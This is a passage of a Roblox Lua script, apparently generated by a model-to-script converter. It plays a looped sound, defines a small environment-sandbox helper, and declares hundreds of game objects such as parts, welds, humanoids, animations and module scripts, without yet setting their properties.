plr = owner
local sound = Instance.new("Sound", plr)
sound.SoundId = "rbxassetid://3121245679"
sound.Looped = true
sound.Volume = 4
sound:Play()
--Converted with ttyyuu12345's model to script plugin v4
function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
Model0 = Instance.new("Model")
Model1 = Instance.new("Model")
Model2 = Instance.new("Model")
Part3 = Instance.new("Part")
Motor6D4 = Instance.new("Motor6D")
BodyForce5 = Instance.new("BodyForce")
Part6 = Instance.new("Part")
Motor6D7 = Instance.new("Motor6D")
Motor6D8 = Instance.new("Motor6D")
Motor6D9 = Instance.new("Motor6D")
Motor6D10 = Instance.new("Motor6D")
Motor6D11 = Instance.new("Motor6D")
Part12 = Instance.new("Part")
Part13 = Instance.new("Part")
Part14 = Instance.new("Part")
Part15 = Instance.new("Part")
Part16 = Instance.new("Part")
Decal17 = Instance.new("Decal")
SpecialMesh18 = Instance.new("SpecialMesh")
Humanoid19 = Instance.new("Humanoid")
Script20 = Instance.new("Script")
StringValue21 = Instance.new("StringValue")
Animation22 = Instance.new("Animation")
StringValue23 = Instance.new("StringValue")
Animation24 = Instance.new("Animation")
StringValue25 = Instance.new("StringValue")
Animation26 = Instance.new("Animation")
NumberValue27 = Instance.new("NumberValue")
Animation28 = Instance.new("Animation")
NumberValue29 = Instance.new("NumberValue")
StringValue30 = Instance.new("StringValue")
Animation31 = Instance.new("Animation")
StringValue32 = Instance.new("StringValue")
Animation33 = Instance.new("Animation")
StringValue34 = Instance.new("StringValue")
Animation35 = Instance.new("Animation")
StringValue36 = Instance.new("StringValue")
Animation37 = Instance.new("Animation")
Script38 = Instance.new("Script")
BillboardGui39 = Instance.new("BillboardGui")
TextLabel40 = Instance.new("TextLabel")
Configuration41 = Instance.new("Configuration")
ModuleScript42 = Instance.new("ModuleScript")
ModuleScript43 = Instance.new("ModuleScript")
ModuleScript44 = Instance.new("ModuleScript")
ModuleScript45 = Instance.new("ModuleScript")
ModuleScript46 = Instance.new("ModuleScript")
ModuleScript47 = Instance.new("ModuleScript")
Configuration48 = Instance.new("Configuration")
IntValue49 = Instance.new("IntValue")
BoolValue50 = Instance.new("BoolValue")
IntValue51 = Instance.new("IntValue")
IntValue52 = Instance.new("IntValue")
Configuration53 = Instance.new("Configuration")
Animation54 = Instance.new("Animation")
Animation55 = Instance.new("Animation")
CharacterMesh56 = Instance.new("CharacterMesh")
CharacterMesh57 = Instance.new("CharacterMesh")
CharacterMesh58 = Instance.new("CharacterMesh")
CharacterMesh59 = Instance.new("CharacterMesh")
CharacterMesh60 = Instance.new("CharacterMesh")
Sound61 = Instance.new("Sound")
BodyColors62 = Instance.new("BodyColors")
Model63 = Instance.new("Model")
Part64 = Instance.new("Part")
Motor6D65 = Instance.new("Motor6D")
BodyForce66 = Instance.new("BodyForce")
Part67 = Instance.new("Part")
Motor6D68 = Instance.new("Motor6D")
Motor6D69 = Instance.new("Motor6D")
Motor6D70 = Instance.new("Motor6D")
Motor6D71 = Instance.new("Motor6D")
Motor6D72 = Instance.new("Motor6D")
Part73 = Instance.new("Part")
Part74 = Instance.new("Part")
Part75 = Instance.new("Part")
Part76 = Instance.new("Part")
Part77 = Instance.new("Part")
Decal78 = Instance.new("Decal")
SpecialMesh79 = Instance.new("SpecialMesh")
Humanoid80 = Instance.new("Humanoid")
Script81 = Instance.new("Script")
StringValue82 = Instance.new("StringValue")
Animation83 = Instance.new("Animation")
StringValue84 = Instance.new("StringValue")
Animation85 = Instance.new("Animation")
StringValue86 = Instance.new("StringValue")
Animation87 = Instance.new("Animation")
NumberValue88 = Instance.new("NumberValue")
Animation89 = Instance.new("Animation")
NumberValue90 = Instance.new("NumberValue")
StringValue91 = Instance.new("StringValue")
Animation92 = Instance.new("Animation")
StringValue93 = Instance.new("StringValue")
Animation94 = Instance.new("Animation")
StringValue95 = Instance.new("StringValue")
Animation96 = Instance.new("Animation")
StringValue97 = Instance.new("StringValue")
Animation98 = Instance.new("Animation")
Script99 = Instance.new("Script")
BillboardGui100 = Instance.new("BillboardGui")
TextLabel101 = Instance.new("TextLabel")
Configuration102 = Instance.new("Configuration")
ModuleScript103 = Instance.new("ModuleScript")
ModuleScript104 = Instance.new("ModuleScript")
ModuleScript105 = Instance.new("ModuleScript")
ModuleScript106 = Instance.new("ModuleScript")
ModuleScript107 = Instance.new("ModuleScript")
ModuleScript108 = Instance.new("ModuleScript")
Configuration109 = Instance.new("Configuration")
IntValue110 = Instance.new("IntValue")
BoolValue111 = Instance.new("BoolValue")
IntValue112 = Instance.new("IntValue")
IntValue113 = Instance.new("IntValue")
Configuration114 = Instance.new("Configuration")
Animation115 = Instance.new("Animation")
Animation116 = Instance.new("Animation")
CharacterMesh117 = Instance.new("CharacterMesh")
CharacterMesh118 = Instance.new("CharacterMesh")
CharacterMesh119 = Instance.new("CharacterMesh")
CharacterMesh120 = Instance.new("CharacterMesh")
CharacterMesh121 = Instance.new("CharacterMesh")
Sound122 = Instance.new("Sound")
BodyColors123 = Instance.new("BodyColors")
Model124 = Instance.new("Model")
Part125 = Instance.new("Part")
Motor6D126 = Instance.new("Motor6D")
BodyForce127 = Instance.new("BodyForce")
Part128 = Instance.new("Part")
Motor6D129 = Instance.new("Motor6D")
Motor6D130 = Instance.new("Motor6D")
Motor6D131 = Instance.new("Motor6D")
Motor6D132 = Instance.new("Motor6D")
Motor6D133 = Instance.new("Motor6D")
Part134 = Instance.new("Part")
Part135 = Instance.new("Part")
Part136 = Instance.new("Part")
Part137 = Instance.new("Part")
Part138 = Instance.new("Part")
Decal139 = Instance.new("Decal")
SpecialMesh140 = Instance.new("SpecialMesh")
Humanoid141 = Instance.new("Humanoid")
Script142 = Instance.new("Script")
StringValue143 = Instance.new("StringValue")
Animation144 = Instance.new("Animation")
StringValue145 = Instance.new("StringValue")
Animation146 = Instance.new("Animation")
StringValue147 = Instance.new("StringValue")
Animation148 = Instance.new("Animation")
NumberValue149 = Instance.new("NumberValue")
Animation150 = Instance.new("Animation")
NumberValue151 = Instance.new("NumberValue")
StringValue152 = Instance.new("StringValue")
Animation153 = Instance.new("Animation")
StringValue154 = Instance.new("StringValue")
Animation155 = Instance.new("Animation")
StringValue156 = Instance.new("StringValue")
Animation157 = Instance.new("Animation")
StringValue158 = Instance.new("StringValue")
Animation159 = Instance.new("Animation")
Script160 = Instance.new("Script")
BillboardGui161 = Instance.new("BillboardGui")
TextLabel162 = Instance.new("TextLabel")
Configuration163 = Instance.new("Configuration")
ModuleScript164 = Instance.new("ModuleScript")
ModuleScript165 = Instance.new("ModuleScript")
ModuleScript166 = Instance.new("ModuleScript")
ModuleScript167 = Instance.new("ModuleScript")
ModuleScript168 = Instance.new("ModuleScript")
ModuleScript169 = Instance.new("ModuleScript")
Configuration170 = Instance.new("Configuration")
IntValue171 = Instance.new("IntValue")
BoolValue172 = Instance.new("BoolValue")
IntValue173 = Instance.new("IntValue")
IntValue174 = Instance.new("IntValue")
Configuration175 = Instance.new("Configuration")
Animation176 = Instance.new("Animation")
Animation177 = Instance.new("Animation")
CharacterMesh178 = Instance.new("CharacterMesh")
CharacterMesh179 = Instance.new("CharacterMesh")
CharacterMesh180 = Instance.new("CharacterMesh")
CharacterMesh181 = Instance.new("CharacterMesh")
CharacterMesh182 = Instance.new("CharacterMesh")
Sound183 = Instance.new("Sound")
BodyColors184 = Instance.new("BodyColors")
Model185 = Instance.new("Model")
Part186 = Instance.new("Part")
Motor6D187 = Instance.new("Motor6D")
BodyForce188 = Instance.new("BodyForce")
Part189 = Instance.new("Part")
Motor6D190 = Instance.new("Motor6D")
Motor6D191 = Instance.new("Motor6D")
Motor6D192 = Instance.new("Motor6D")
Motor6D193 = Instance.new("Motor6D")
Motor6D194 = Instance.new("Motor6D")
Part195 = Instance.new("Part")
Part196 = Instance.new("Part")
Part197 = Instance.new("Part")
Part198 = Instance.new("Part")
Part199 = Instance.new("Part")
Decal200 = Instance.new("Decal")
SpecialMesh201 = Instance.new("SpecialMesh")
Humanoid202 = Instance.new("Humanoid")
Script203 = Instance.new("Script")
StringValue204 = Instance.new("StringValue")
Animation205 = Instance.new("Animation")
StringValue206 = Instance.new("StringValue")
Animation207 = Instance.new("Animation")
StringValue208 = Instance.new("StringValue")
Animation209 = Instance.new("Animation")
NumberValue210 = Instance.new("NumberValue")
Animation211 = Instance.new("Animation")
NumberValue212 = Instance.new("NumberValue")
StringValue213 = Instance.new("StringValue")
Animation214 = Instance.new("Animation")
StringValue215 = Instance.new("StringValue")
Animation216 = Instance.new("Animation")
StringValue217 = Instance.new("StringValue")
Animation218 = Instance.new("Animation")
StringValue219 = Instance.new("StringValue")
Animation220 = Instance.new("Animation")
Script221 = Instance.new("Script")
BillboardGui222 = Instance.new("BillboardGui")
TextLabel223 = Instance.new("TextLabel")
Configuration224 = Instance.new("Configuration")
ModuleScript225 = Instance.new("ModuleScript")
ModuleScript226 = Instance.new("ModuleScript")
ModuleScript227 = Instance.new("ModuleScript")
ModuleScript228 = Instance.new("ModuleScript")
ModuleScript229 = Instance.new("ModuleScript")
ModuleScript230 = Instance.new("ModuleScript")
Configuration231 = Instance.new("Configuration")
IntValue232 = Instance.new("IntValue")
BoolValue233 = Instance.new("BoolValue")
IntValue234 = Instance.new("IntValue")
IntValue235 = Instance.new("IntValue")
Configuration236 = Instance.new("Configuration")
Animation237 = Instance.new("Animation")
Animation238 = Instance.new("Animation")
CharacterMesh239 = Instance.new("CharacterMesh")
CharacterMesh240 = Instance.new("CharacterMesh")
CharacterMesh241 = Instance.new("CharacterMesh")
CharacterMesh242 = Instance.new("CharacterMesh")
CharacterMesh243 = Instance.new("CharacterMesh")
Sound244 = Instance.new("Sound")
BodyColors245 = Instance.new("BodyColors")
Model246 = Instance.new("Model")
Part247 = Instance.new("Part")
Motor6D248 = Instance.new("Motor6D")
BodyForce249 = Instance.new("BodyForce")
Part250 = Instance.new("Part")
Motor6D251 = Instance.new("Motor6D")
Motor6D252 = Instance.new("Motor6D")
Motor6D253 = Instance.new("Motor6D")
Motor6D254 = Instance.new("Motor6D")
Motor6D255 = Instance.new("Motor6D")
Part256 = Instance.new("Part")
Part257 = Instance.new("Part")
Part258 = Instance.new("Part")
Part259 = Instance.new("Part")
Part260 = Instance.new("Part")
Decal261 = Instance.new("Decal")
SpecialMesh262 = Instance.new("SpecialMesh")
Humanoid263 = Instance.new("Humanoid")
Script264 = Instance.new("Script")
StringValue265 = Instance.new("StringValue")
Animation266 = Instance.new("Animation")
StringValue267 = Instance.new("StringValue")
Animation268 = Instance.new("Animation")
StringValue269 = Instance.new("StringValue")
Animation270 = Instance.new("Animation")
NumberValue271 = Instance.new("NumberValue")
Animation272 = Instance.new("Animation")
NumberValue273 = Instance.new("NumberValue")
StringValue274 = Instance.new("StringValue")
Animation275 = Instance.new("Animation")
StringValue276 = Instance.new("StringValue")
Animation277 = Instance.new("Animation")
StringValue278 = Instance.new("StringValue")
Animation279 = Instance.new("Animation")
StringValue280 = Instance.new("StringValue")
Animation281 = Instance.new("Animation")
Script282 = Instance.new("Script")
BillboardGui283 = Instance.new("BillboardGui")
TextLabel284 = Instance.new("TextLabel")
Configuration285 = Instance.new("Configuration")
ModuleScript286 = Instance.new("ModuleScript")
ModuleScript287 = Instance.new("ModuleScript")
ModuleScript288 = Instance.new("ModuleScript")
ModuleScript289 = Instance.new("ModuleScript")
ModuleScript290 = Instance.new("ModuleScript")
ModuleScript291 = Instance.new("ModuleScript")
Configuration292 = Instance.new("Configuration")
IntValue293 = Instance.new("IntValue")
BoolValue294 = Instance.new("BoolValue")
IntValue295 = Instance.new("IntValue")
IntValue296 = Instance.new("IntValue")
Configuration297 = Instance.new("Configuration")
Animation298 = Instance.new("Animation")
Animation299 = Instance.new("Animation")
CharacterMesh300 = Instance.new("CharacterMesh")
CharacterMesh301 = Instance.new("CharacterMesh")
CharacterMesh302 = Instance.new("CharacterMesh")
CharacterMesh303 = Instance.new("CharacterMesh")
CharacterMesh304 = Instance.new("CharacterMesh")
Sound305 = Instance.new("Sound")
BodyColors306 = Instance.new("BodyColors")
Model307 = Instance.new("Model")
Model308 = Instance.new("Model")
Part309 = Instance.new("Part")
Part310 = Instance.new("Part")
Part311 = Instance.new("Part")
Part312 = Instance.new("Part")
Smoke313 = Instance.new("Smoke")
Fire314 = Instance.new("Fire")
PointLight315 = Instance.new("PointLight")
Part316 = Instance.new("Part")
Part317 = Instance.new("Part")
Part318 = Instance.new("Part")
Model319 = Instance.new("Model")
Model320 = Instance.new("Model")
Part321 = Instance.new("Part")
SpecialMesh322 = Instance.new("SpecialMesh")
Decal323 = Instance.new("Decal")
Weld324 = Instance.new("Weld")
Weld325 = Instance.new("Weld")
Weld326 = Instance.new("Weld")
Weld327 = Instance.new("Weld")
Part328 = Instance.new("Part")
Motor6D329 = Instance.new("Motor6D")
Part330 = Instance.new("Part")
Weld331 = Instance.new("Weld")
Part332 = Instance.new("Part")
Snap333 = Instance.new("Snap")
Part334 = Instance.new("Part")
Weld335 = Instance.new("Weld")
Part336 = Instance.new("Part")
Part337 = Instance.new("Part")
Motor6D338 = Instance.new("Motor6D")
Motor6D339 = Instance.new("Motor6D")
Snap340 = Instance.new("Snap")
Humanoid341 = Instance.new("Humanoid")
Accessory342 = Instance.new("Accessory")
Part343 = Instance.new("Part")
SpecialMesh344 = Instance.new("SpecialMesh")
StringValue345 = Instance.new("StringValue")
Weld346 = Instance.new("Weld")
Weld347 = Instance.new("Weld")
Accessory348 = Instance.new("Accessory")
Part349 = Instance.new("Part")
SpecialMesh350 = Instance.new("SpecialMesh")
StringValue351 = Instance.new("StringValue")
Weld352 = Instance.new("Weld")
Weld353 = Instance.new("Weld")
Accessory354 = Instance.new("Accessory")
Part355 = Instance.new("Part")
SpecialMesh356 = Instance.new("SpecialMesh")
Weld357 = Instance.new("Weld")
Weld358 = Instance.new("Weld")
Camera359 = Instance.new("Camera")
Accessory360 = Instance.new("Accessory")
Part361 = Instance.new("Part")
SpecialMesh362 = Instance.new("SpecialMesh")
Weld363 = Instance.new("Weld")
Weld364 = Instance.new("Weld")
BodyColors365 = Instance.new("BodyColors")
Shirt366 = Instance.new("Shirt")
Pants367 = Instance.new("Pants")
Model368 = Instance.new("Model")
Model369 = Instance.new("Model")
Part370 = Instance.new("Part")
Weld371 = Instance.new("Weld")
Weld372 = Instance.new("Weld")
Part373 = Instance.new("Part")
Part374 = Instance.new("Part")
Weld375 = Instance.new("Weld")
Part376 = Instance.new("Part")
Part377 = Instance.new("Part")
SpecialMesh378 = Instance.new("SpecialMesh")
Decal379 = Instance.new("Decal")
Snap380 = Instance.new("Snap")
Part381 = Instance.new("Part")
Weld382 = Instance.new("Weld")
Weld383 = Instance.new("Weld")
Weld384 = Instance.new("Weld")
Weld385 = Instance.new("Weld")
Weld386 = Instance.new("Weld")
Model387 = Instance.new("Model")
Part388 = Instance.new("Part")
Weld389 = Instance.new("Weld")
Weld390 = Instance.new("Weld")
Weld391 = Instance.new("Weld")
Part392 = Instance.new("Part")
Weld393 = Instance.new("Weld")
Weld394 = Instance.new("Weld")
Weld395 = Instance.new("Weld")
Weld396 = Instance.new("Weld")
Weld397 = Instance.new("Weld")
Weld398 = Instance.new("Weld")
Weld399 = Instance.new("Weld")
Weld400 = Instance.new("Weld")
Weld401 = Instance.new("Weld")
Weld402 = Instance.new("Weld")
Part403 = Instance.new("Part")
Weld404 = Instance.new("Weld")
Weld405 = Instance.new("Weld")
Snap406 = Instance.new("Snap")
Weld407 = Instance.new("Weld")
Weld408 = Instance.new("Weld")
Weld409 = Instance.new("Weld")
Weld410 = Instance.new("Weld")
Weld411 = Instance.new("Weld")
Weld412 = Instance.new("Weld")
Weld413 = Instance.new("Weld")
Weld414 = Instance.new("Weld")
Weld415 = Instance.new("Weld")
Weld416 = Instance.new("Weld")
Part417 = Instance.new("Part")
Weld418 = Instance.new("Weld")
Part419 = Instance.new("Part")
SpecialMesh420 = Instance.new("SpecialMesh")
Decal421 = Instance.new("Decal")
Part422 = Instance.new("Part")
Script423 = Instance.new("Script")
Weld424 = Instance.new("Weld")
Weld425 = Instance.new("Weld")
Model426 = Instance.new("Model")
Part427 = Instance.new("Part")
Part428 = Instance.new("Part")
Weld429 = Instance.new("Weld")
Weld430 = Instance.new("Weld")
Weld431 = Instance.new("Weld")
Weld432 = Instance.new("Weld")
Weld433 = Instance.new("Weld")
Part434 = Instance.new("Part")
Weld435 = Instance.new("Weld")
Weld436 = Instance.new("Weld")
Snap437 = Instance.new("Snap")
Part438 = Instance.new("Part")
Weld439 = Instance.new("Weld")
Weld440 = Instance.new("Weld")
Weld441 = Instance.new("Weld")
Weld442 = Instance.new("Weld")
Weld443 = Instance.new("Weld")
Weld444 = Instance.new("Weld")
Weld445 = Instance.new("Weld")
Weld446 = Instance.new("Weld")
Weld447 = Instance.new("Weld")
Weld448 = Instance.new("Weld")
Part449 = Instance.new("Part")
SpecialMesh450 = Instance.new("SpecialMesh")
Decal451 = Instance.new("Decal")
Part452 = Instance.new("Part")
Script453 = Instance.new("Script")
Model454 = Instance.new("Model")
Model455 = Instance.new("Model")
Part456 = Instance.new("Part")
SpecialMesh457 = Instance.new("SpecialMesh")
Weld458 = Instance.new("Weld")
Part459 = Instance.new("Part")
SpecialMesh460 = Instance.new("SpecialMesh")
Part461 = Instance.new("Part")
SpecialMesh462 = Instance.new("SpecialMesh")
Weld463 = Instance.new("Weld")
Weld464 = Instance.new("Weld")
Weld465 = Instance.new("Weld")
Weld466 = Instance.new("Weld")
Weld467 = Instance.new("Weld")
Part468 = Instance.new("Part")
SpecialMesh469 = Instance.new("SpecialMesh")
Weld470 = Instance.new("Weld")
Weld471 = Instance.new("Weld")
Weld472 = Instance.new("Weld")
Weld473 = Instance.new("Weld")
Weld474 = Instance.new("Weld")
Part475 = Instance.new("Part")
Weld476 = Instance.new("Weld")
Weld477 = Instance.new("Weld")
Weld478 = Instance.new("Weld")
Weld479 = Instance.new("Weld")
Weld480 = Instance.new("Weld")
Weld481 = Instance.new("Weld")
Weld482 = Instance.new("Weld")
Weld483 = Instance.new("Weld")
Weld484 = Instance.new("Weld")
Weld485 = Instance.new("Weld")
Weld486 = Instance.new("Weld")
Weld487 = Instance.new("Weld")
Weld488 = Instance.new("Weld")
Weld489 = Instance.new("Weld")
Weld490 = Instance.new("Weld")
Weld491 = Instance.new("Weld")
Weld492 = Instance.new("Weld")
Weld493 = Instance.new("Weld")
Weld494 = Instance.new("Weld")
Weld495 = Instance.new("Weld")
Weld496 = Instance.new("Weld")
Weld497 = Instance.new("Weld")
Weld498 = Instance.new("Weld")
Weld499 = Instance.new("Weld")
Part500 = Instance.new("Part")
Script501 = Instance.new("Script")
Weld502 = Instance.new("Weld")
Weld503 = Instance.new("Weld")
Weld504 = Instance.new("Weld")
Model505 = Instance.new("Model")
Part506 = Instance.new("Part")
Weld507 = Instance.new("Weld")
Weld508 = Instance.new("Weld")
Weld509 = Instance.new("Weld")
Weld510 = Instance.new("Weld")
Weld511 = Instance.new("Weld")
Part512 = Instance.new("Part")
Weld513 = Instance.new("Weld")
Weld514 = Instance.new("Weld")
Weld515 = Instance.new("Weld")
Weld516 = Instance.new("Weld")
Weld517 = Instance.new("Weld")
Part518 = Instance.new("Part")
SpecialMesh519 = Instance.new("SpecialMesh")
Part520 = Instance.new("Part")
SpecialMesh521 = Instance.new("SpecialMesh")
Weld522 = Instance.new("Weld")
Weld523 = Instance.new("Weld")
Weld524 = Instance.new("Weld")
Weld525 = Instance.new("Weld")
Weld526 = Instance.new("Weld")
Part527 = Instance.new("Part")
SpecialMesh528 = Instance.new("SpecialMesh")
Weld529 = Instance.new("Weld")
Weld530 = Instance.new("Weld")
Weld531 = Instance.new("Weld")
Weld532 = Instance.new("Weld")
Weld533 = Instance.new("Weld")
Part534 = Instance.new("Part")
SpecialMesh535 = Instance.new("SpecialMesh")
Part536 = Instance.new("Part")
Weld537 = Instance.new("Weld")
Weld538 = Instance.new("Weld")
Weld539 = Instance.new("Weld")
Part540 = Instance.new("Part")
Script541 = Instance.new("Script")
Weld542 = Instance.new("Weld")
Weld543 = Instance.new("Weld")
Weld544 = Instance.new("Weld")
Weld545 = Instance.new("Weld")
Script546 = Instance.new("Script")
Model547 = Instance.new("Model")
Part548 = Instance.new("Part")
SpecialMesh549 = Instance.new("SpecialMesh")
Weld550 = Instance.new("Weld")
Weld551 = Instance.new("Weld")
Weld552 = Instance.new("Weld")
Weld553 = Instance.new("Weld")
Weld554 = Instance.new("Weld")
Part555 = Instance.new("Part")
SpecialMesh556 = Instance.new("SpecialMesh")
Weld557 = Instance.new("Weld")
Weld558 = Instance.new("Weld")
Weld559 = Instance.new("Weld")
Weld560 = Instance.new("Weld")
Weld561 = Instance.new("Weld")
Part562 = Instance.new("Part")
SpecialMesh563 = Instance.new("SpecialMesh")
Weld564 = Instance.new("Weld")
Weld565 = Instance.new("Weld")
Weld566 = Instance.new("Weld")
Weld567 = Instance.new("Weld")
Weld568 = Instance.new("Weld")
Part569 = Instance.new("Part")
SpecialMesh570 = Instance.new("SpecialMesh")
Weld571 = Instance.new("Weld")
Weld572 = Instance.new("Weld")
Weld573 = Instance.new("Weld")
Weld574 = Instance.new("Weld")
Part575 = Instance.new("Part")
Weld576 = Instance.new("Weld")
Weld577 = Instance.new("Weld")
Weld578 = Instance.new("Weld")
Part579 = Instance.new("Part")
Script580 = Instance.new("Script")
Weld581 = Instance.new("Weld")
Weld582 = Instance.new("Weld")
Model583 = Instance.new("Model")
Part584 = Instance.new("Part")
SpecialMesh585 = Instance.new("SpecialMesh")
Weld586 = Instance.new("Weld")
Part587 = Instance.new("Part")
SpecialMesh588 = Instance.new("SpecialMesh")
Weld589 = Instance.new("Weld")
Weld590 = Instance.new("Weld")
Weld591 = Instance.new("Weld")
Weld592 = Instance.new("Weld")
Part593 = Instance.new("Part")
Weld594 = Instance.new("Weld")
Weld595 = Instance.new("Weld")
Weld596 = Instance.new("Weld")
Weld597 = Instance.new("Weld")
Weld598 = Instance.new("Weld")
Part599 = Instance.new("Part")
SpecialMesh600 = Instance.new("SpecialMesh")
Weld601 = Instance.new("Weld")
Part602 = Instance.new("Part")
SpecialMesh603 = Instance.new("SpecialMesh")
Part604 = Instance.new("Part")
Texture605 = Instance.new("Texture")
Rotate606 = Instance.new("Rotate")
Part607 = Instance.new("Part")
Texture608 = Instance.new("Texture")
Script609 = Instance.new("Script")
Weld610 = Instance.new("Weld")
Weld611 = Instance.new("Weld")
Weld612 = Instance.new("Weld")
Weld613 = Instance.new("Weld")
Weld614 = Instance.new("Weld")
Weld615 = Instance.new("Weld")
Weld616 = Instance.new("Weld")
Weld617 = Instance.new("Weld")
Weld618 = Instance.new("Weld")
Weld619 = Instance.new("Weld")
Part620 = Instance.new("Part")
Texture621 = Instance.new("Texture")
Weld622 = Instance.new("Weld")
Weld623 = Instance.new("Weld")
Part624 = Instance.new("Part")
Weld625 = Instance.new("Weld")
Weld626 = Instance.new("Weld")
Weld627 = Instance.new("Weld")
Weld628 = Instance.new("Weld")
Weld629 = Instance.new("Weld")
Part630 = Instance.new("Part")
SpecialMesh631 = Instance.new("SpecialMesh")
Weld632 = Instance.new("Weld")
Part633 = Instance.new("Part")
Weld634 = Instance.new("Weld")
Part635 = Instance.new("Part")
Weld636 = Instance.new("Weld")
Weld637 = Instance.new("Weld")
Weld638 = Instance.new("Weld")
Weld639 = Instance.new("Weld")
Weld640 = Instance.new("Weld")
Model641 = Instance.new("Model")
Part642 = Instance.new("Part")
Weld643 = Instance.new("Weld")
Weld644 = Instance.new("Weld")
Weld645 = Instance.new("Weld")
Weld646 = Instance.new("Weld")
Weld647 = Instance.new("Weld")
Part648 = Instance.new("Part")
Weld649 = Instance.new("Weld")
Part650 = Instance.new("Part")
SpecialMesh651 = Instance.new("SpecialMesh")
Weld652 = Instance.new("Weld")
Part653 = Instance.new("Part")
SpecialMesh654 = Instance.new("SpecialMesh")
Part655 = Instance.new("Part")
SpecialMesh656 = Instance.new("SpecialMesh")
Part657 = Instance.new("Part")
SpecialMesh658 = Instance.new("SpecialMesh")
Part659 = Instance.new("Part")
Part660 = Instance.new("Part")
Script661 = Instance.new("Script")
Weld662 = Instance.new("Weld")
Weld663 = Instance.new("Weld")
Weld664 = Instance.new("Weld")
Weld665 = Instance.new("Weld")
Weld666 = Instance.new("Weld")
Weld667 = Instance.new("Weld")
Weld668 = Instance.new("Weld")
Weld669 = Instance.new("Weld")
Model670 = Instance.new("Model")
Part671 = Instance.new("Part")
SpecialMesh672 = Instance.new("SpecialMesh")
Weld673 = Instance.new("Weld")
Weld674 = Instance.new("Weld")
Weld675 = Instance.new("Weld")
Weld676 = Instance.new("Weld")
Part677 = Instance.new("Part")
SpecialMesh678 = Instance.new("SpecialMesh")
Part679 = Instance.new("Part")
SpecialMesh680 = Instance.new("SpecialMesh")
Part681 = Instance.new("Part")
SpecialMesh682 = Instance.new("SpecialMesh")
Part683 = Instance.new("Part")
Part684 = Instance.new("Part")
Script685 = Instance.new("Script")
Weld686 = Instance.new("Weld")
Weld687 = Instance.new("Weld")
Weld688 = Instance.new("Weld")
Weld689 = Instance.new("Weld")
Weld690 = Instance.new("Weld")
Weld691 = Instance.new("Weld")
Weld692 = Instance.new("Weld")
Model693 = Instance.new("Model")
Part694 = Instance.new("Part")
SpecialMesh695 = Instance.new("SpecialMesh")
Part696 = Instance.new("Part")
SpecialMesh697 = Instance.new("SpecialMesh")
Part698 = Instance.new("Part")
SpecialMesh699 = Instance.new("SpecialMesh")
Weld700 = Instance.new("Weld")
Part701 = Instance.new("Part")
SpecialMesh702 = Instance.new("SpecialMesh")
Weld703 = Instance.new("Weld")
Part704 = Instance.new("Part")
Weld705 = Instance.new("Weld")
Weld706 = Instance.new("Weld")
Part707 = Instance.new("Part")
Script708 = Instance.new("Script")
Weld709 = Instance.new("Weld")
Weld710 = Instance.new("Weld")
Weld711 = Instance.new("Weld")
Weld712 = Instance.new("Weld")
Weld713 = Instance.new("Weld")
Weld714 = Instance.new("Weld")
Model715 = Instance.new("Model")
Part716 = Instance.new("Part")
Part717 = Instance.new("Part")
Part718 = Instance.new("Part")
Weld719 = Instance.new("Weld")
Part720 = Instance.new("Part")
Weld721 = Instance.new("Weld")
Weld722 = Instance.new("Weld")
Part723 = Instance.new("Part")
SpecialMesh724 = Instance.new("SpecialMesh")
Decal725 = Instance.new("Decal")
Snap726 = Instance.new("Snap")
Part727 = Instance.new("Part")
Script728 = Instance.new("Script")
Weld729 = Instance.new("Weld")
Weld730 = Instance.new("Weld")
Weld731 = Instance.new("Weld")
Weld732 = Instance.new("Weld")
Weld733 = Instance.new("Weld")
Model734 = Instance.new("Model")
Part735 = Instance.new("Part")
Weld736 = Instance.new("Weld")
Part737 = Instance.new("Part")
Weld738 = Instance.new("Weld")
Weld739 = Instance.new("Weld")
Weld740 = Instance.new("Weld")
Weld741 = Instance.new("Weld")
Weld742 = Instance.new("Weld")
Weld743 = Instance.new("Weld")
Weld744 = Instance.new("Weld")
Weld745 = Instance.new("Weld")
Weld746 = Instance.new("Weld")
Weld747 = Instance.new("Weld")
Part748 = Instance.new("Part")
Weld749 = Instance.new("Weld")
Weld750 = Instance.new("Weld")
Part751 = Instance.new("Part")
Weld752 = Instance.new("Weld")
Weld753 = Instance.new("Weld")
Weld754 = Instance.new("Weld")
Weld755 = Instance.new("Weld")
Weld756 = Instance.new("Weld")
Part757 = Instance.new("Part")
SpecialMesh758 = Instance.new("SpecialMesh")
Decal759 = Instance.new("Decal")
Snap760 = Instance.new("Snap")
Part761 = Instance.new("Part")
Script762 = Instance.new("Script")
Weld763 = Instance.new("Weld")
Model764 = Instance.new("Model")
Part765 = Instance.new("Part")
Weld766 = Instance.new("Weld")
Weld767 = Instance.new("Weld")
Weld768 = Instance.new("Weld")
Weld769 = Instance.new("Weld")
Weld770 = Instance.new("Weld")
Weld771 = Instance.new("Weld")
Weld772 = Instance.new("Weld")
Weld773 = Instance.new("Weld")
Weld774 = Instance.new("Weld")
Part775 = Instance.new("Part")
Weld776 = Instance.new("Weld")
Weld777 = Instance.new("Weld")
Weld778 = Instance.new("Weld")
Weld779 = Instance.new("Weld")
Weld780 = Instance.new("Weld")
Part781 = Instance.new("Part")
Weld782 = Instance.new("Weld")
Weld783 = Instance.new("Weld")
Snap784 = Instance.new("Snap")
Weld785 = Instance.new("Weld")
Weld786 = Instance.new("Weld")
Weld787 = Instance.new("Weld")
Weld788 = Instance.new("Weld")
Weld789 = Instance.new("Weld")
Weld790 = Instance.new("Weld")
Weld791 = Instance.new("Weld")
Weld792 = Instance.new("Weld")
Weld793 = Instance.new("Weld")
Weld794 = Instance.new("Weld")
Weld795 = Instance.new("Weld")
Weld796 = Instance.new("Weld")
Weld797 = Instance.new("Weld")
Part798 = Instance.new("Part")
Part799 = Instance.new("Part")
SpecialMesh800 = Instance.new("SpecialMesh")
Decal801 = Instance.new("Decal")
Part802 = Instance.new("Part")
Script803 = Instance.new("Script")
Weld804 = Instance.new("Weld")
Weld805 = Instance.new("Weld")
Weld806 = Instance.new("Weld")
Model807 = Instance.new("Model")
Part808 = Instance.new("Part")
Vector3Value809 = Instance.new("Vector3Value")
Vector3Value810 = Instance.new("Vector3Value")
MeshPart811 = Instance.new("MeshPart")
Motor6D812 = Instance.new("Motor6D")
Vector3Value813 = Instance.new("Vector3Value")
MeshPart814 = Instance.new("MeshPart")
Motor6D815 = Instance.new("Motor6D")
MeshPart816 = Instance.new("MeshPart")
Motor6D817 = Instance.new("Motor6D")
MeshPart818 = Instance.new("MeshPart")
